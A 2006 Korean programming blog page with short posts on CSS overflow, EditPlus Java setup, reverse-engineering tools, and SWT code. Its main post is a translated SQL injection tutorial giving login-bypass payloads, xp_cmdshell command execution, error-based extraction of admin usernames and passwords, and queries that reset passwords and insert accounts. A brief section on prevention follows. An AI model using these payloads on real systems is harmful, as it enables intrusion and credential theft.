블로그 이미지
초딩입맛제주아재
하고 싶은 것만 하며 살고 싶다

calendar

1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
2006. 10. 19. 02:16 Programing/HTML/JavaScript/CSS
'overflow'
Value:   visible | hidden | scroll | auto | inherit
Initial:   visible
Applies to:   non-replaced block-level elements, table cells, and inline-block elements
Inherited:   no
Percentages:   N/A
Media:   visual
Computed value:   as specified
visible
This value indicates that content is not clipped, i.e., it may be rendered outside the block box.
hidden
This value indicates that the content is clipped and that no scrolling user interface should be provided to view the content outside the clipping region.
scroll
This value indicates that the content is clipped and that if the user agent uses a scrolling mechanism that is visible on the screen (such as a scroll bar or a panner), that mechanism should be displayed for a box whether or not any of its content is clipped. This avoids any problem with scrollbars appearing and disappearing in a dynamic environment. When this value is specified and the target medium is 'print', overflowing content may be printed.
auto
The behavior of the 'auto' value is user agent-dependent, but should cause a scrolling mechanism to be provided for overflowing boxes.

example:

<div style="width: 300px; height: 200px; overflow: hidden;">
   contents
</div>

-> contents의 길이가 지정된 영역을 벗어나면 보이지 않는다.

<div style="width: 300px; height: 200px; overflow: scorll;">
   contents
</div>

-> contents의 길이에 상관 없이 스크롤바가 생성된다.

<div style="width: 300px; height: 200px; overflow: auto;">
   contents
</div>

-> contents의 길이에 따라 스크롤바가 생성되거나 사라진다.

<div style="width: 300px; height: 200px; overflow: visible;">
   contents
</div>

-> 레이어의 크기가 contents에 맞추어 확장된다.


overflow 속성은 고정된 영역에서 레이아웃을 해치지 않고
컨텐츠를 보여주고자 할떄 유용하게 쓰일 수 있다.
posted by 초딩입맛제주아재
2006. 10. 16. 10:32 Programing/Java
도구 -> 기본설정 -> 도구 - 사용자도구

   우측화면에서 그룹 선택(1번부터 10번까지 있음) 원하는 번호 선택.
   그룹이름 변경 -> Java로 해줌(이건 안해도 되는데 구분을 위해 해줌)

   추가 -> 프로그램 {
       메뉴제목 : Java Compile(사용자 마음대로)
       명령 : 오른쪽 버튼을 클릭하여 javac파일을 찾아 선택해줌.
       인수 : 오른쪽 버튼을 클릭하여 "파일이름" 선택
       디렉토리 : 오른쪽 버튼을 클릭하여 "파일 디렉토리" 선택
       하단의 "출력내용 캡쳐"에 체크
   }

   추가 -> 프로그램 {
        메뉴제목 : Java Run(사용자 마음대로)
       명령 : 오른쪽 버튼을 클릭하여 java파일을 찾아 선택해줌.
       인수 : 오른쪽 버튼을 클릭하여 "확장자를 뺀 파일이름" 선택
       디렉토리 : 오른쪽 버튼을 클릭하여 "파일 디렉토리" 선택
       하단의 "출력내용 캡쳐"에 체크
}

'Programing > Java' 카테고리의 다른 글

제8회 한국 자바 개발자 컨퍼런스  (0) 2007.02.24
윈도우 Java환경 설정  (0) 2006.12.23
SWT 연습 - FileTreeContentProvider  (0) 2006.10.13
SWT Study  (0) 2006.10.13
적당한 크기로 만들어주는 메서드 - Control.pack()  (4) 2006.10.13
posted by 초딩입맛제주아재
2006. 10. 14. 00:23 Programing
웹해킹 - SQL 인젝션

Summary
이 문서는 초보자들에게 많은 도움이 될것이다. SQL Injection 테크닉들을 통해서 문제를 해결 하려고 노력하고, 그것들을 성공적으로 이용하기를 원하고, 또한 그러한 공격으로보터 자신을 방어하고자 하는 ........

Details
1.0 Introduction
===============
서버가 단지 80포트만을 오픈하고 있을때, 당신의 믿음직한 취약점 스캐너는 유용한 정보를 잡아내지 못한다. 당신도 알다시피 관리자는 항상 서버를 패치한다. 우리는 웹해킹으로 관점을 돌려야 한다. SQL injection은 단지 80번 포트만을 필요로 하는 웹해킹의 방법중 한가지이다. 만일 관리자가 패치를 잘 하고 있을지라도 해킹은 잘 작동하게 될것이다. SQL injection 는 OS 상에서 웹서버나 서비스가 실행되고 있다고 할지라도 웹 어플리케이션(like ASP, JSP, PHP, CGI, etc) 상에서 웹어플리케이션 그자체를 공격한다.

이 문서는 새로은 것에 대해서 말하고 있지는 않다. SQL injection에 관한 문서는 여러사람들이 써 왔고 널리 사용되어지고 있다. 우리는 이문서를 작성했다. 직접 수기로 작성한 SQL injection 의 몇가지를 문서화 하기 위해서 그리고 다른사람들에게 이문서가 도움에 되기를 바라기 때문이다. 당신은 한 두가지를 더 발견할수 있을 것이다. 그러기 위해서 "9.0 Where can I get more info?"를 확인해 봄으로써 SQL injection 안에서 많은 테크닉들을 개발할수 있는 믿을만한 많은 정보들을 얻을수 있을 것이다.


1.1 What is SQL Injection?
------------------------
SQL injection 은 웹 페이지를 통해서 입력하는 것처럼 SQL query/command를 삽입하기위한 트릭이다.  많은 웹페이지들은 웹 사용자로 부터 패러미터들을 입력받아 데이타베이스에대한 SQL query를 만든다. 사용자가 로긴을 할때를 예를 들자면, 사용자가 유효한 이름과 패스워드를 사용하는지를 확인하기위해서 사용자 이름과 패스워드를 에 관한 SQL query 를 만든다. SQL injection를 통해서, 정상적인 SQL query를 변조하게 하는 교활하게 조작된 사용자 이름과 패스워드를 보내는 것이 가능하고 우리는 이것을 통해서 어떤것을 행하게 할수가 있는 것이다.

1.2 What do you need?
--------------------
어떤 브라우저라도 좋다.



2.0 What you should look for?
============================
데이타 입력을 허락하는 웹페이지를 찿아 보아라. 예를 들자면 로긴 웹 페이지, 서치 웹페이지, 피드백 등등. 자주 HTML 페이지는 다른 ASP 페이제 패러미터를 보네기 위해서 POST 명령을 사용한다. 하지만 당신은 URL 에서 패러미터를 볼수는 없을 것이다. 그러나 HTML의 소스 코드를 확인해 보면 HTML 코드에서 "FORM" 태그를 발견 할 수 있을 것이다. 당신은 이 HTML 코드에서 다음과 같은 것을 발견 할 수가 있을 것이다.:





사이에 있는 모든 것들은 우리가 익스플로잇에 사용할수 있는 잠재적인 패러 미터를 가지고 있다.


2.1 What if you can't find any page that takes input?
---------------------------------------------
ASP, JSP, CGI, or PHP 같은 웹 페이지들을 찿아 보기 바란다. 특히 다음과 같은 패러미터를 가지고 있는 URL을 찿아 보거라. 다음:

http://duck/index.asp?id=10



3.0 How do you test if it is vulnerable?
==================================
싱글 쿼트(') 트릭으로 시작해 보자!
다음과 같이 입력해 보거라.:

hi' or 1=1--

다음 예와 같이 로긴, 패스워드 또는 URL 에서 말이다.
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--

만일 히든 필드와 같이 이것들을 실행해야 한다면 사이트로 보터 HTML 소스를 다운로드 받고, 당신의 하드 디스크에 저장하고, 적당하게 URL 과 히든 필드를 수정하라. 예를 들자면 :






운이 좋다면 로긴 네임이나 패스워드 없이 로긴 할 수 있을 것이다.

3.1 But why ' or 1=1--?
---------------------
' or 1=1-- 가 왜 중요한지에 대해서 다른 예제를 알아 보도록 하자. 로긴을 바로 통과 하는 것외에 일반적으로 가능한것은 아니지만 또다른 가능성은 엑스트라 인포메이션 즉 부수적인 정보를 보는 것이 가능하다는 것이다. 다음 URL 과 같이 당신을 다른 페이지로 링크를 해주는 asp 페이지를 보자 :

http://duck/index.asp?category=food

이 URL에서 'category' 는 변수이고 'food'는 변수에 할당되어진 변수 값이다. 이와 같은 일은 하기 위해서 ASP는 다음과 같은 코드를 포함하고 있을 것이다.(그렇다. 이것은 이 문제를 위해서 우리가 만든 실제 코드이다.) :

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

보는 바와 같이 우리의 변수는 v_cat 안으로 들어 갈 것이고 그래서 SQL 문장은 다음과 같이 될 것이다.:

SELECT * FROM product WHERE PCategory='food'

쿼리는 WHERE 조건(이경우 'food')과 일치하는 한개나 한개 이상의 행을 결과로 리턴한다.
이제 다음과 같이 URL을 바꾸게 될 경우를 알아 보자 :

http://duck/index.asp?category=food' or 1=1--

만일 SQL query 에서 변수를 다음과 같이 변경하게 되면, 이제 변수 v_cat = "food' or 1=1-- " 되고 우리는 다음과 같은 결과를 얻을 것이다:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

쿼리는 product 테이블로 부터 모든것을 선택한다. PCategory 가 'food' 인지 아닌지에 상관없이 말이다 더블 대쉬("--")는 MS SQL 서버에게 쿼리의 나머지 부분을 무시하도록 한다. 마지막에 있는 싱글 쿼트(')를 제거하는 역할을 하게 될 것이다. 종종 더블 대쉬(--)는 싱글 해쉬(#)로 대체 할 수 있다.

하지만 SQL 서버가 아니거나 쿼리의 나머지를 간단하게 무시하게 할수가 없다면 다음과 같이 시도해 보라:

' or 'a'='a

SQL 쿼리는 이제 다음과 될 것이다:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

이제 동일한 결과를 돌려 줄 것이다.

실제 SQL query 에 따라서 다음과 같은 것들중에서 한개로 시도 하기 바란다:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a



4.0 How do I get remote execution with SQL injection?
==================================================
만일 일반적인 의미로서 SQL 명령을 삽입 할수 있다면 모든 SQL query 를 실행 할수 있을 것이다. MS SQL 서버가 윈도우즈 안에서 관리자 접근과 동등한 시스템상에 디폴트 인스톨로 실행되고 있다. 우리는 리모트 실행을 수행하기 위해서 xp_cmdshell 를 마스터 같이 저장된 프로시저를 사용할수 있다.... :

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

싱글 쿼트(')가 작동하지 않으면 더블 쿼트(")를 사용해 보라

세미 콜론은 현제 SQL query 를 끝나게 할것이고 그래서 당신이 새로운 SQL 명령을 시작할 수 있게 할것이다. 만일 서버로부터 어떤 패킷이 있는지를 체크하기 위해서 명령이 성공적으로 실행되었는지를 확인하기 위해서 10.10.1.2 로 부터 ICMP 패킷을 리슨 할수 있다. :

#tcpdump icmp

만일 당신이 서버로부터 아무 핑(ping) 요구 받지 못했고, 퍼미션 에러를 표시하는 에러메시지를 받았다면, 이러한 저장된 프로시저에 대해서 관리자가 웹사용자의 접근을 제한하고 있을 가능성이 있다.



5.0 How to get output of my SQL query?
======================================
HTML 안에 당신의 쿼리를 삽입하기 위해서 sp_makewebtak 를 사용 할 수 있다:

'; EXEC master..sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

하지만 타켓 IP 는 모든 사람이 공유하고 있는 공유 폴더이어야 한다.



6.0 How to get data from the database using ODBC error message
============================================================
우리는 우리가 원하는 대부분의 데이타를 얻기 위해서 MS SQL 서버에 의해서 처리되어지는 에러 메세지로 부터 정보를 사용 할 수 있다. 다음과 같은 문장을 가지고 있는 페이지가 있다고 하고 예를 들자면 :

http://duck/index.asp?id=10

우리는 데이타베이스로 부터 정수 10 을 다른 문자열과 함께 UNION 을 시도할 것이다:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

서버안에서 시스템 테이블 INFORMATION_SCHEMA.TABLES 은 모든 테이블에 관한 정보를 포함하고 있다. TABLE_NAME 필드는 데이터베이스 안에서 각 테이블의 이름을 분명히 포함하고 있다. 알다 시피 그것은 항상 존제 하기때문에 우리는 그것을 선택했다. 우리의 쿼리는 :

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

이것은 데이터베이스 안에서 첫번째 테이블을 리턴한다. 우리가 이 문자열 값을 정수 10과 UNION 할때 MS SQL 서버는 문자열(nvarchar)을 정수로 변환을 시도할 것이다. 이것은 우??가 nvarchar을 int 로 전환 할 수 없는 것 때문에 에러를 발생 시킨다. 서버는 다음의 에러 메시지를 출력할 것이다:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

에러 메시지는 어떤 값이 정수로 변환 되어질수 없다는 것을 알려주게 되므로 우리에게 충분한 가치가 있다. 이경우에 우리는 데이터 베이스에 있는 첫번째 테이블 이름이 "talbe1" 이라는 것을 알게 된다.

다음 테이블 이름을 얻기 위해서 우리는 다음 쿼리를 사용 할 수 있다:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

우리는 LIKE 키워드를 사용하여 데이타를 조사 할 수 있다.

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

동등한 표시로서, SQL 서버 안에서 '%25login%25' 은 %login% 처럼 보여질 것이다. 이경우에 우리는 "admin_login" 과 일치하는 첫번째 테이블 이름을 얻게 될것이다.


6.1 How to mine all column names of a table?
----------------------------------------
우리는 테이블의 모든 컬럼들의 이름을 알기 위해서 다른 유용한 테이블 INFORMATION_SCHEMA.COLUMNS 을 사용 할 있다 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

이제 첫번째 칼럼 이름을 얻게 되었고 다음 컬럼 이름을 얻기 위해서 NOT IN () 을 사용 할 수 있다 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

이와 같이 계속해서 나아가서 우리는 나머지 칼럼 이름을 획득 했다. "password", "details". 우리는 이것들을 다음 에러 메시지를 얻었을때 알수가 있다 :
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5


6.2 How to retrieve any data we want?
------------------------------------
이제 몇개의 중요한 테이블들 과 그것들의 컴럼들을 확인해보자. 우리는 데이타베이스로 부터 우리가 원하는 정보를 획득하기 위해서 똑같은 테크닉을 사용 사용 할 수 있다.

이제, "admin_login" 테이블로 부터 첫번째 login_name 을 얻어보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

이제 우리는 neo 라는 로긴 이름을 가지고 있는 admin 유저가 있다는 것을 알았다. 마지막으로 데이터베이로 부터 neo 의 패스워드를 얻기 위해서 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

우리는 ID neo, password m4trix 로 로긴 할 수 가 있을 것이다.


6.3 How to get numeric string value?
--------------------------------
위에 설명한 테크닉에는 제한 사항이 있다. 만일 우리가 유효한 숫자(0-9 사이에 있는 문자)로 구성된 텍스트를 변환하기를 시도한다면 우리는 어떤한 에러 메시지도 얻을 수 없을 것이다.
ID trinity인 사용자의 패스워드 31173 을 얻기 위한 시도를 가지고 말해보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

우리는 "Page Not Found" 에러를 얻을 것이다. 정수(이경우 10)와 UNION 하기 전에 패스워드 31173 은 숫자로 변환되어질 것이기 때문이다. 그것은 유효한 UNION 문 이기 때문에 SQL 서버는 ODBC 에러 메시지를 출력하지 않을 것이다. 그래서 우리는 어떠한 숫자 엔트리를 발견해 낼 수가 없다.

이 문제를 해결하기 위해서, 우리는 변환이 확실히 실폐 하로독 하기 위해서 숫자 문자열에 몇개의 알파벳을 덧붙일 수 있다. 이번에는 위에것 대신이 이 쿼리로 시도를 해보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

우른는 패스워드에 우리가 원하는 어떤 텍스틀를 덧붙이기 위해서 더하기 기호(+,ASSCII code for '+' = 0x2b)를 사용한다. 우리는 '(space)morpheus' 를 실제 패스워드에 덧붙일 것이다. 그래서 우리가 숫자 문자열 31173 을 가지고 있다고 할 지라도 그것은 '31173 morpheus' 이 될 것이다. 수작업으로 convert() 함수를 호출 함으로서 '31173 morpheus' 을 정수로 변환을 시도해보면 SQL 서버는 EDBC 에러 메시지를 출력 할 것이다:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

이제 ID trinity, 패스워드 31173 로 로긴을 할 수가 있다.



7.0 How to update/insert data into the database?
===========================================
우리가 테이블의 모든 칼럼 이름을 성공적으로 얻게될때 우리는 UPDATE 명령을 사용하거나 테이블안에 새로운 레코드를 삽입하기 위해서 INSERT 명령을 사용 할 수 가 있다. 예를 들자면, neo 의 패스워드를 변경하기 위해서 :

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

데이터 베이스 안에 새로운 레코드를 삽입하기 위해서 :

http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

우리는 이제 ID neo2, 패스워드 newpas5 로 로긴 할 수 가 있다.



8.0 How to avoid SQL Injection?
=============================
다음과 같은 경우에 모든 문자열 안에서 싱글 쿼트, 더블 쿼트, 슬래쉬, 백슬래쉬, 세미 콜론, NULL 같은 확장된 문자, 캐리지 리턴, 뉴라인 등과 같은 문자를 필터링 한다면 :
- 사용자로 부터의 입력
- URL 에 있는 패러미터
- 쿠키 안에 있는 값들

숫자 값을 위해서 그것을 SQL 문으로 파싱을 하기전에 그것을 정수로 변환하라. 또는 그것이 정수인지를 확인하기 위해서 ISNUMERIC 를 사용하라.

SQL Server Security tab 안에서 하위 특권 사용자를 사용하여 "Startup and run SQL Server" 를 변환 시켜라.

당신이 사용하지 않는 다음 같은 저장된 프로시저들을 삭제 하라 :

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask


9.0 Where can I get more info?
===============================
최근우리가 발견하고 SQL Injection 을 적용한 최근 작품들 중에 하나는 PacketStrom 을 어떻게 해킹 했는지에 관한 Rain Forest Puppy 의 문서이다.
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

ODBC 에러 메시지들로 부터 정보를 획득하는 방법에 관한 멋진 문서가 여기에 있다.
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

또한 다양한 SQL 서버상에서 SQL Injection 에 관한 훌륭한 요약집이 여기에 있다.
http://www.owasp.org/asac/input_validation/sql.shtml

SQL Injection 에 관한 Senseport 의 문서 :
http://www.sensepost.com/misc/SQLinsertion.htm

읽어 볼만한 문서들:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

'Programing' 카테고리의 다른 글

Drag & Drop로 구현한 쇼핑몰 샘플  (0) 2006.11.09
JAVA(JSP)가 좋은점이 무엇이냐...  (1) 2006.10.28
Sort Algorithm  (0) 2006.10.24
유니코드 프로그래밍  (0) 2006.09.26
스파게티 소스  (0) 2006.05.16
posted by 초딩입맛제주아재
2006. 10. 14. 00:11 Programing/ReversEngineering
Disassembler

이미 Assembler와 Linker를 거쳐 생성된 PE파일을 다시 어셈블리어 코드로 바꾸어
주는 프로그램.

W32DASM - 추천
IDA - 초보자게게 다소 어려움.
PVDasm - 9x계열만 지원


Debugger

프로그램에 Break Point를 걸어 원하는 부분을 찾거나,
한줄씩 Step by Step 으로 실행해 가거나 값을 조금씩 바꿔 가며 Input 하여
OutPut 되는 값들을 보는 피드백의 과정을 위해 사용.

SoftIce - 기능은 뛰어나지만 인터페이스가 Orz...
OllyDbg - GUI인터페이스,추천 올리 디버거 1.10 다운로드



리버싱에는 대부분 어셈블러로 작업을 한다.
때문에 어셈블러는 필수다.....에고...

'Programing > ReversEngineering' 카테고리의 다른 글

참고 사이트  (0) 2006.10.13
ReversEngineering이란...  (0) 2006.10.13
posted by 초딩입맛제주아재
2006. 10. 13. 23:42 Programing/ReversEngineering
[ http://ampm.ddns.co.kr/~reverse/ ] 국내 포럼

[ http://openproject.nazzim.net/ ] 정룡옥님 홈페이지
- 오픈캡쳐 개발자. 리버스엔지니어링 기초 자료.

[ http://dualpage.muz.ro/ ]
- 기초강좌

[ http://www.driveronline.org ] 드라이버온라인
- DriverOnline은 Microsoft Windows Driver 개발자를 위한 커뮤니티

[ http://mr-driver.co.kr  ] 미스터 드라이버
- 디바이스 드라이버 개발업체 (대표이사 김훈철)

[ http://www.hajesoft.co.kr ] 하제소프트 
디바이스 드라이버 개발업체, device driver, vxd, ce, usb, pci, system.

[ http://www.zap.pe.kr ] 여리의 작업실
- 선경렬씨가 운영하는 사이트. 관련 최신정보와 프로그램 및 참고자료 링크가 다양함.

[ http://sarangnamu.net ] 사랑나무
- 리버스엔지니어링, 리눅스 커널관련 자료

[ http://www.orgon.com/w2k_internals/ ] Sven Schreiber
- Undocumented Windows 2000 Secrets - A Programmer's Cookbook 저자 홈페이지. 영문.

[ http://www.rootkit.com ] rootkit
- rootkit관련 서적을 출간했으며, Subverting the Windows Kernel이 목적이다. By: Greg Hoglund and Jamie Butler. 영문.

'Programing > ReversEngineering' 카테고리의 다른 글

리버싱에 필요한 툴  (0) 2006.10.14
ReversEngineering이란...  (0) 2006.10.13
posted by 초딩입맛제주아재
2006. 10. 13. 23:36 Programing/ReversEngineering

소프트웨어 공학의 한 분야로 이미 만들어진 시스템을 역으로 추적하여 애초의 문서나 설계기법 등의 자료를 얻어 내는 일.

- 네이버 사전 -


흔히 크랙이라고 표현하고
요즘 유행하는 각종 게임의 '핵'을 만들때 필요한 작업이 바로 리버싱이다.
프로그램 코드의 역추적으로 동작원리를 파악하여
리버서가 원하는 작업을 수행하도록 프로그램을 수정 하는 일련의 작업을
리버스엔지니어링이라고 표현 할 수 있겠다.

요즘 왜이렇게 이것저것 배우고 싶은것이 많아지는지 모르겠다.
일이 별로 없어서 그런건가..
왜 이런 학구열이 이 나이에 불어 닥치는걸까??

'Programing > ReversEngineering' 카테고리의 다른 글

리버싱에 필요한 툴  (0) 2006.10.14
참고 사이트  (0) 2006.10.13
posted by 초딩입맛제주아재
2006. 10. 13. 23:07 Programing/Java

import java.io.*;
import org.eclipse.jface.viewers.*;
import org.eclipse.jface.window.*;
import org.eclipse.swt.*;
import org.eclipse.swt.custom.*;
import org.eclipse.swt.widgets.*;

public class Explorer extends ApplicationWindow {
   public Explorer() { super(null); }

   protected Control createContents(Composite parent){
       SashForm sash_form = new SashForm(parent, SWT.HORIZONTAL | SWT.NULL);
       TreeViewer tv = new TreeViewer(sash_form);
       tv.setContentProvider(new FileTreeContentProvider());
       tv.setLabelProvider(new FileTreeLabelProvider());
       tv.setInput(new File("C:\\"));
       final TableViewer tbv = new TableViewer(sash_form, SWT.BORDER);
       tbv.setContentProvider(new FileTableContentProvider());
       tbv.setLabelProvider(new FileTableLabelProvider());

       TableColumn column=new TableColumn(tbv.getTable(),SWT.LEFT);
       column.setText("Name");
       column.setWidth(200);
       tbv.getTable().setHeaderVisible(true);

       tv.addSelectionChangedListener(new ISelectionChangedListener() {
           public void selectionChanged(SelectionChangedEvent event) {
               IStructuredSelection selection =
                   (IStructuredSelection) event.getSelection();
               Object selected_file = selection.getFirstElement();
               tbv.setInput(selected_file);
           }
       });
       return sash_form;
   }
   public static void main(String[] args) {
       Explorer w = new Explorer();
       w.setBlockOnOpen(true);
       w.open();
       Display.getCurrent().dispose();
   }
}


'Programing > Java' 카테고리의 다른 글

윈도우 Java환경 설정  (0) 2006.12.23
에디트플러스 자바 컴파일/실행 설정  (0) 2006.10.16
SWT Study  (0) 2006.10.13
적당한 크기로 만들어주는 메서드 - Control.pack()  (4) 2006.10.13
SWT 연습...  (0) 2006.10.13
posted by 초딩입맛제주아재
2006. 10. 13. 22:20 Programing/Java

1 소개
1.1 SWT에 대해서
2 SWT 프로그래밍 화경 구축 및 맛보기
2.1 환경 구축
2.2 Hello World를 통해서 익히는 Eclipse+SWT 개발
2.2.1 프로젝트 생성
2.2.2 코드 생성
2.2.3 실행 시키기
3 SWT 프로그래밍 일반
3.1 SWT 애플리케이션의 기본 구조
3.2 SWT 애플리케이션 제작
3.3 SWT 패키지들
3.4 다이얼로그
3.5 Widgets
3.5.1 위젯 이벤트
3.5.2 자주사용하는 위젯
3.5.3 버튼
3.5.4 slider, scale, progressBar 위젯
3.5.5 텍스트 위젯
3.5.6 List 위젯
3.5.7 Sash 위젯
3.6 Composite 위젯
3.6.1 Table 위젯
4 관련 위키

1 소개 #

SmartDic프로젝트를 진행하기 위해서 javaGUI라이브러리인 SWT를 필요로 한다. 아직까지 SWT를 다루어 본적이 없으므로 프로젝트의 원할한 진행을 위해서 SWT에 대한 스터디를 수행하기로 했다.

예제들은 Eclipse를 이용해서 작성하고 테스트하도록 하겠다. Eclipse의 사용방법은 SWT 스터디 위키를 참고하기 바란다.

1.1 SWT에 대해서 #


SWT #

java에서 GUI를 지원하기 위한 도구로 sun에서 개발한 Swing이 널리 사용되고 있었는데, IBM에서 통합개발 플랫폼인 Eclipse를 개발하면서 Swing 대신 자체적으로 개발한 GUI라이브러리를 제작한다. 이게 SWT 이다.

  • Swing : ?J2SE를 위한 GUI 툴킷
  • SWT : IBM의 공개 프로젝트인 Eclipse 플랫폼의 제작을 위해 별도로 개발된 라이브러리
SWT는 Standard Widget Toolkit의 줄임말로 각 운영체제자체에서 제공되는 위젯 툴킷을 통합한 그래픽 라이브러리다. 이는 각 타겟 플렛폼에 꽤나 의존적이 될 수도 있음을 의미하지만, OS독립적인 API를 제공함으로써 이 문제를 해결하고 있다. 이들 API는 목표가 되는 운영체제 시스템의 GUI코드를 wrapper함으로써 개발자 입장에서는 운영체제에 신경쓰지 않고 동일한 코드를 유지할 수 있게 된다.

덧붙여 설명하자면, Swing은 모든 위젯이 운영체제와 별개를 사용하는데(자바의 모토가 One make All use 아니던가) 그렇기때문에 Swing의 GUI는 웬지 눈에 낯설고 어색해 보이는 면이 있어왔다. 그러나 SWT는 가능한한 사용할 수있는 모든 Native Widget은 사용하고, 그러하지 않는 부분만 자바의 자체 위젯을 사용한다. 때문에 최대한 그 OS의 Native GUI와 비슷한 모습을 보여주는것이다.(Native에서 제공하지 않는 자체 위젯까지 포함하므로 때론 더 이쁠수도 있겠다. 물론 반대인 경우도 있겠지만).

그럼 자바가 시스템에 독립적이지 않은게 아닌가? 하고 반문할지 모르지만 위에 설명된 바와같이 공통적인 API를 사용하므로서 (Abstract Layer라고 볼 수 도 있겠다) OS가 다르다고 해서 소스코드의 변경을 필요로 하지 않는것이다. (VM차원에서 Native Widget를 해당 API로 랩핑해주므로)

다음은 현재 java에서 사용중인 GUI라이브러리에 대한 비교다.
Component SWT Swing AWT
Button X X X
Advanced Button X X
Label X X X
List X X X
Progress Bar X X
Sash X X
Scale X X
Sash X X
Slider X X
Text Area X X X
Advanced Text Area X X
Tree X X
Menu X X
Tab Folder X X X
Toolbar X X
Spinner X X
Tabler X X X
Advanced Table X X


2 SWT 프로그래밍 화경 구축 및 맛보기 #

2.1 환경 구축 #

우선은 개발환경을 구축해야 한다. 기본 개발환경은 Linux, ?JDK1.4기반이며 스터디를 위해서 Eclipse를 설치하기로 했다. 아무래도 SWT가 Eclipse의 일부로 개발된 측면이 있기 때문에 자연스러운 학습을 위해서 Eclipse가 필요하다고 판단되었기 때문이다.

Eclipse는 http://www.eclipse.org에서 최신버전 3.0 (04/7/27일 현재)받을 수 있다. 설치는 압축푸는 걸로 끝이다. 이클립스와 함께 SWT개발과 관련된 라이브러리도 받아야 한다. 역시 위 사이트에서 받을 수 있다. SWT라이브러리를 받은다음 이클립스를 설치한 곳에 적당한 디렉토리를 만들어서 압축을 풀도록 하자. 필자의 경우 이클립스 설치디렉토리는 /usr/eclipse에 SWT는 /usr/eclipse/jar에 풀었다.

다음은 이클립스를 통한 개발 모습이다.


2.2 Hello World를 통해서 익히는 Eclipse+SWT 개발 #

자바플렛폼에서의 개발이 그리 익숙치 않은 관계로 우선 SWT버젼의 Hello world출력 애플리케이션을 만들어 보기로 했다.

2.2.1 프로젝트 생성 #
이클립스가 실행되었다면, 새로운 File > New > Project 를 이용해서 새로운 프로젝트를 생성해야 한다. 그러면 아래와 같은 Project 생성 Wizard가 뜨게 된다.


여기에서 java > java project 를 선택하고 Next 버튼을 클릭하도록 한다. 이제 프로젝트의 이름을 선택해 주어야 하는데, ?HelloWorld로 하자. 그다음 Finish 버튼을 누른다. 그럼 아래의 그림과 같이 ?HelloWorld 프로젝트가 생성된걸 확인할 수 있다.


2.2.2 코드 생성 #
